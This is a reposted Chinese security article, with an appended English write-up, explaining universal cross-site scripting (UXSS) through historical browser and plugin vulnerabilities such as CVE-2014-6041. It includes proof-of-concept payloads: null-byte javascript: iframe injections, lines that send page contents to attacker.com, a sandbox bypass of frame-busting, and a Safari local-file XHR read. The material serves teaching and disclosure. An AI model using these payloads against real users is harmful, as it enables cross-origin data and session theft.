通用跨站脚本攻击(UXSS)

转自: http://www.jinglingshu.org/?p=9030&print=print

本文的内容主要转自通用跨站脚本攻击(UXSS) ,该文内容大部分翻译自http://www.acunetix.com/blog/web-security-zone/universal-cross-site-scripting-uxss/。

什么是UXSS?

大家都知道有反射型XSS、存储型XSS、DomXSS,还有之前wooyun知识库上由gainover翻译的mXSS,也就是突变XSS(文章地址http://drops.wooyun.org/tips/956)。可能比较少同学了解何谓UXSS,UXSS全称Universal Cross-Site Scripting,翻译过来就是通用型XSS,也叫Universal  XSS。

UXSS叫做通用跨站脚本攻击,利用的是浏览器本身或者浏览器扩展程序的漏洞,不需要网站本身存在漏洞也可以触发漏洞,而怎么利用漏洞等就与普通XSS没什么区别了。即UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。
那么,UXSS由于前面提到的几种XSS有什么区别
常见的XSS攻击的是因为客户端或服务端的代码开发不严谨等问题而存在漏洞的目标网站或者应用程序。这些攻击的先决条件是页面存在漏洞,而它们的影响往往也围绕着漏洞页面本身的用户会话。换句话说,因为浏览器的安全功能的影响,XSS攻击只能读取受感染的会话,而无法读取其他的会话信息,也就是同源策略的影响。

UXSS保留了基本XSS的特点,利用漏洞,执行恶意代码,但是有一个重要的区别:

UXSS可以在漏洞触发时访问浏览器打开或缓存的页面的所有会话(即使不同域的情况),不管会话对应的网站或应用程序有无xss漏洞。(The net effect of this is the fact that the attacker doesn’t just get access to a compromised session on a vulnerable web page, but may get access to any session belonging to web pages currently opened (or cached) by the browser at the time the attack is triggered.)

影响

那么UXSS与通常的XSS有什么影响的区别?前面我们提到,因为同源策略,即使一个漏洞页面存在XSS,我们可以访问它的用户会话信息等,但是无法访问其他域的相关的会话信息,而因为UXSS是利用浏览器本身或者浏览器扩展程序的漏洞,所以对于攻击发起时浏览器打开或缓存的所有页面(即使不同域的情况)的会话信息都可以进行访问。简单的说,UXSS不需要一个漏洞页面来触发攻击,它可以渗透入安全没有问题的页面,从而创造一个漏洞,而该页面原先是安全无漏洞的

Web浏览器是正在使用的最流行的应用程序之一、。浏览器可能有漏洞被发现,有一整个的漏洞纰漏过程,当一个新漏洞被发现的时候,不管是把漏洞藏起来自己利用还是说报告给官方,而这个过程中都有一段不小的时间,这一过程中漏洞都可能被利用于UXSS。

不仅是浏览器本身的漏洞,现在主流浏览器都支持扩展程序的安装,而众多的浏览器扩展程序可能导致带来更多的漏洞和安全问题。

因为UXSS攻击不需要页面本身存在漏洞,同时可能访问其他安全无漏洞页面,使得UXSS成为XSS里危险和最具破坏性的攻击类型之一。

UXSS案例

1、IE6或火狐浏览器扩展程序Adobe Acrobat的漏洞

这是一个比较老的漏洞,但这是一个比较经典的例子。当使用扩展程序时导致错误,使得代码可以执行。这是一个在pdf阅读器中的bug,允许攻击者在客户端执行脚本。构造恶意页面,写入恶意脚本,并利用扩展程序打开pdf时运行代码。

Stefano Di Paola 和 Giorgio Fedon在一个在Mozilla Firefox浏览器Adobe Reader的插件中可利用的缺陷中第一个记录和描述的UXSS。Adobe插件通过一系列参数允许从外部数据源取数据进行文档表单的填充,如果没有正确的执行,将允许跨站脚本攻击。原pdf: http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf或者详见http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html

2、IE8跨站脚本过滤器缺陷

David Lindsay 和Eduardo Vela Nava已经在2010年的BlackHat Europe展示了这个漏洞的UXSS利用。

IE8中内置了XSS过滤器,用于检测反射XSS,并采取纠正措施:在页面渲染之前更改响应内容。

在这种特殊情况下,等号将会被过滤器去除,但是通过精心构造的XSS字符串在特定的地方,这个逻辑会导致浏览器创建XSS条件。微软的响应是改变了XSS过滤器去除的字符。具体可以查看pdf: http://p42.us/ie8xss/Abusing_IE8s_XSS_Filters.pdf

3、Flash Player UXSS 漏洞 – CVE-2011-2107

一个在2011年Flash Player插件(当时的所有版本)中的缺陷使得攻击者通过使用构造的.swf文件,可以访问Gmail设置和添加转发地址。因此攻击者可以收到任意一个被攻破的Gmail帐号的所有邮件副本(发送的时候都会抄送份)。Adobe承认了该漏洞,详见http://www.adobe.com/support/security/bulletins/apsb11-13.html

 

4、安卓版Chrome浏览器漏洞

移动设备也不例外,而且可以成为XSS攻击的目标。Chrome安卓版存在一个漏洞,允许攻击者将恶意代码注入到Chrome通过Intent对象加载的任意的web页面。即CVE-2014-6041 安卓浏览器UXSS。

这是webkit核的UXSS漏洞,影响4.3以下的系统,在系统中使用系统自带的webview组件都会受漏洞影响,包括系统自带浏览器,目前只能够自编译浏览器内核才能解决问题。这个漏洞是因为URL解析器对空字符的不正确处理导致的

Android Browser Same Origin Policy Bypass – CVE-2014-6041 详细信息参考:http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html。

漏洞exp:

<iframe name="m" src="http://zone.wooyun.org" onload="window.open('\u0000javascript:alert(document.location)','m')" >

<iframe name="test" src="http://www.rhainfosec.com"></iframe>
<input type=button value="test" onclick="window.open('\u0000javascript:alert(document.domain)','test')" >

2014090112543973068.png

其他的例子

http://insert-script.blogspot.com/2013/08/uxss-internet-explorer-euc-jp-parsing.html

http://www.rapid7.com/db/modules/auxiliary/gather/apple_safari_webarchive_uxss

http://www.wooyun.org/bugs/wooyun-2014-074655

http://www.cnvd.org.cn/flaw/show/CNVD-2012-5462

http://www.wooyun.org/bugs/wooyun-2014-071915

http://cxsecurity.com/issue/WLB-2012100086

http://www.maths.usyd.edu.au/u/psz/ff-utf7-uxss.html

更多的大家自己搜索把

典例分析

本来整理这篇文章的时候还不知道大牛发了一个UXSS,写完上wooyun正好就看到mramydnei大牛发了《安卓浏览器SOP绕过漏洞(UXSS)》的漏洞(详见http://zone.wooyun.org/content/14945),就补充到文章里。

简要分析下,这个漏洞是构造一个页面,页面嵌入iframe,然后通过\u0000进行浏览器的sop绕过进行XSS。

更多细节可以看大牛的博客以及参考文章http://parsec.me/625.html、http://parsec.me/660.html。

防范

防范UXSS的经验法则是打好所有的补丁,保持最新版本。

这将确保您的环境中使用的浏览器版本以及您所需要的扩展程序,是不可能通过UXSS进行漏洞利用的。

而然,这是否意味着你就高枕无忧呢?不是这样的,运行最新的版本也不能保证是完全安全的。当一个漏洞被发现、提交、确认、修复已经发布补丁,中间是有时间差的,而在这段时间内,将可能收到UXSS攻击。

网站防御办法:防止网站被通过iframe嵌入到别的页面中,即采取防止点击劫持的办法。即在页面中加入如下的js代码防止iframe被嵌套:

if (top.location!=self.location)
{
	top.location = self.location;
}

不过这种方法可以被通过html5中iframe的sandbox属性绕过,进而继续利用UXSS。
参考文章:

1、http://www.acunetix.com/blog/web-security-zone/universal-cross-site-scripting-uxss/

2、http://www.fooying.com/uxss/   通用跨站脚本攻击(UXSS)

3、http://parsec.me/625.html       Bypassing SOP in safari(ios/mac)

4、http://parsec.me/660.html      CVE-2014-6041 安卓浏览器UXSS

5、http://zone.wooyun.org/content/14945   安卓浏览器SOP绕过漏洞(UXSS)
6、http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html   Android Browser Same Origin Policy Bypass – CVE-2014-6041

——————————————————————————————————————————————

Android Browser Same Origin Policy Bypass – CVE-2014-6041的详细说明

Introduction

Same Origin Policy (SOP) is one of the most important security mechanisms that are applied in modern browsers, the basic idea behind the SOP is the javaScript from one origin should not be able to access the properties of a website on another origin. The origin is formed by the combination of Scheme, domain and port with the port being an exception to IE. There are some exceptions with SOP such the location property, objects wtih src attribute. However, the fundamental are that different origins should not be able to access the properties of one another.

SOP Bypass

A SOP bypass occurs when a sitea.com is some how able to access the properties of siteb.com such as cookies, location, response etc. Due to the nature of the issue and potential impact, browsers have very strict model pertaining it and a SOP bypass is rarely found in modern browsers. However, they are found once in a while. The following writeup describes a SOP bypass vulnerability i found in my Qmobile Noir A20 running Android Browser 4.2.1, and later verified that Sony+Xperia+Tipo, Samsung galaxy, HTC Wildfire, Motrorolla etc are also affected. To best of my knowledge, the issue occurred due to improper handling of nullbytes by url parser.

The following is a proof of concept:

Proof Of Concept

<iframe name="test" src="http://www.rhainfosec.com"></iframe>
 <input type=button value="test"
 onclick="window.open('\u0000javascript:alert(document.domain)','test')" >

As you can see that the code tries accessing the document.domain property of a site loaded into an iframe. If you run the POC at attacker.com on any of the modern browsers, it would return a similar error as attacker.com should not be able to access the document.domain property of rhainfosec.com.

Blocked a frame with origin "http://jsbin.com" from accessing a frame with origin "http://www.rhainfosec.com". Protocols, domains, and ports must match.

However, running it on any of the vulnerable smart phones default browsers would alert the document.domain property indicating that the SOP was not able to restrict the access to document.domain property of a site at a different origin.

I created the following POC, so you can mess around with some stuff:

Reading the response

You can read the response of any page by accessing the document.body.innerHTML property.

<iframe name="test" src="http://www.rhainfosec.com"></iframe>
 <input type=button value="test"
 onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')" >

Reading the response and sending it to an attackers domain

In real world situation an attacker would send the response to his controlled domain.

<iframe name="test" src="http://www.rhainfosec.com"></iframe>
 <input type=button value="test"
 onclick="window.open('\u0000javascript:var i=new Image();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >

Bypassing Frame Busting Code

A lot of websites still use frame busting code to prevent the page from being prevent and since we can only bypass SOP here when the site could be framed. In case, where the site is using a frame busting code, we can bypass it using the sandbox attribute that was introduced as a part of HTML5 specifications.

<iframe name="test" src="http://www.rhainfosec.com" sandbox></iframe>
 <input type=button value="test"
 onclick="window.open('\u0000javascript:var i=new Image();i.src='//attacker.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >

—————————————————————————————————————————————

除了通过UXSS来绕过浏览器的SOP策略(同源策略),还可以通过其他方式绕过同源策略,如Bypassing SOP in safari(ios/mac) 讲的,利用的就是:Safari下当本地资源被访问时并不会去遵循什么SOP。

Bypassing SOP in safari(ios/mac)

最近一直在幻想要搞一个UXSS出来,不过捣鼓好几天了没啥进展。翻阅的paper也没能给我带来一些灵感。也许这个对我来说真的有点难了吧。虽然挖掘UXSS失败了,但在这个过程中我发现了一个非常有趣的东西。正好也想到了利用场景,所以拿出来和大家分享一下。

这是一段来自The Browser Hacker’s Handbook关于在safari下绕过SOP的描述:

    The Safari browser, from 200716 to the current (at the time of this writing) 6.0.2 version, does not enforce the SOP when a local resource is accessed.

也就说,在Safari下当本地资源被访问时并不会去遵循什么SOP。让我们来看看是不是真的。POC:

<html>
<body>
<h1>SOP bypass with XHR </h1>
<script>
xhr = new XMLHttpRequest();
xhr.onreadystatechange = function (){
if (xhr.readyState == 4) {
alert(xhr.responseText);
} };
xhr.open("GET",
"http://zone.wooyun.org");
xhr.send();
</script>
</body>
</html>

 

一般来说由于SOP限制,XHR的response是会被浏览器屏蔽的。但是由于safari在访问本地资源时完全不会遵循SOP,所以……我们完全可以跨域读取任何域的responseText.

jinglingshu_2014-09-06_07-11-07

//测试于Safari 7.0.6

可以跨域获取responsetext就意味着可以拿下一些CSRF token之类的敏感数据了(其它方法本文暂不讨论)。但是我要怎么才能让其它用户以访问本地资源的方式来访问我的htm文件呢?发送文件!

让我们来模拟一下这个过程。

黑客事先构造好bypasssopwithxhr.htm发送给受害者

jinglingshu_2014-09-06_07-11-08

受害者收到攻击者htm文件:

jinglingshu_2014-09-06_07-11-19

受害者打开文件:

jinglingshu_2014-09-06_07-11-081

pwn!我们成功的了。现在,让我们再换一个更有说服力的例子。将下面的文件保存成sopbypass.htm发给受害者:

<html>
<body>
<h1>SOP bypass with window.open() </h1>
<iframe name=m src=http://zone.wooyun.org onload="window.open('javascript:alert(document.domain)','m')"></iframe>
</body>
</html>
jinglingshu_2014-09-06_07-11-082

受害者通过手机打开网页后:

jinglingshu_2014-09-06_07-11-08

pwn!我们成功在zone.wooyun.org执行了javascript.

 

ps:至于网站怎么防御UXSS,可以参考:Clickjacking简单介绍   中对点击劫持的防御。